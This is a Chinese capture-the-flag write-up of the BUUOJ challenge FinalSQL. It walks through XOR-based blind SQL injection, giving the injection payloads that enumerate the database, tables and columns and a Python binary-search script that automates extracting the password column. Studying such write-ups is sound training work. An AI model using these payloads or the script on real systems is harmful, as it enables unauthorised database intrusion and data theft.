[极客大挑战 2019]FinalSQL

image-20240505210635547

好,sql盲注!

看看12345,都没啥用

6也没啥用处

所以我们尝试一下就是说

知识点:

有一种特殊的报错,是Error! <br>

,就目前观察来看,是符合当前注入的SQL查询错误。

再补充下异或得到的值:
1^0 1
1^1 0
1^2 3
1^3 2
1^4 5
1^5 4
1^6 7
1^7 6

一般来讲,1^true=0,1^false=1
这是异或注入的原理
也就是说,我们经常使用到的是:
1^(true)=0 ERROR!!!
1^(false)=1 NO! Not this! Click others~~~
这俩数据,是我们进行爆破的核心关键所在。

所以我们尝试异或注入

大括号的意思是包含了某个值,大括号的具体内容看下面脚本就行了

尝试测测库长度,直接测出来了

?id=1^(length(database()));
-- 得到的值等价于4,说明数据库的名字是四位的

尝试爆库名

?id=1^(ascii(SUBSTRING(database(),1,1))=103);
-- 分别爆出的:103,101,101,107 => geek

尝试爆列爆表

爆表名长度

?id=1^((SELECT(length(GROUP_CONCAT(table_name)))FROM(information_schema.tables)where(table_schema=database()))=16)
-- 得到的是16

#爆破表名
#一个是上面获取的字符串长度轮换变化,一个是0到128的ascii码的十进制数字变化
?id=1^((SELECT(ascii(SUBSTRING(GROUP_CONCAT(table_name),{},1)))FROM(information_schema.tables)where(table_schema=database()))={})
-- 爆出来的是: F1naI1y,Flaaaaag

尝试根据Flaaaaag表名爆列值

?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(column_name),{},1)))FROM(information_schema.columns)where(table_name="Flaaaaag"))={});
-- 得到id,fl4gawsl

尝试爆列值

-- 这个爆列值就算了,就是个报错集中表,就是那些id=1到id=6的存放表
-- 暂时排除此处存在flag的情况

尝试爆破另外一个表F1naI1y

爆列名

?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(column_name),{},1)))FROM(information_schema.columns)where(table_name="F1naI1y"))={});
-- 爆出来的列是id,username,password

用户名爆不出东西,尝试爆破密码

##### ?id=1^((select(ord(SUBSTRING(GROUP_CONCAT(password),{},1)))from(geek.F1naI1y))={});

-- 这爆破实在是久得离谱……
-- 用上了ascii码,并且排除了特殊字符,就那么慢慢爆破
-- 这个时候就能暂时放下手中的题目,先去做别的题了`

我们尝试使用脚本

# 休息时间应该长一些
import requests
import time

url = 'http://0e436f5d-1231-4b41-b566-2a97ea0f61d3.node5.buuoj.cn:81/search.php?id=1'
res = ''
for i in range(1, 500):
print(i)
left = 31
right = 127
mid = left + ((right - left) >> 1)
while left < right:
#payload = "^(ascii(substr(database(),{},1))>{})".format(i,mid)
# payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{},1))>{})".format(i,mid)
# payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='Flaaaaag'),{},1))>{})".format(i,mid)
payload = "^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})".format(i, mid)
r = requests.get(url=url + payload)
# print(mid)
if r.status_code == 429:
print('too fast')
time.sleep(10)
if 'NO! Not this! Click others~~~' not in r.text:
left = mid + 1
elif 'NO! Not this! Click others~~~' in r.text:
right = mid
mid = left + ((right - left) >> 1)
if mid == 127 or mid == 31:
break
res += chr(mid)
print(str(mid), res)

拿到flag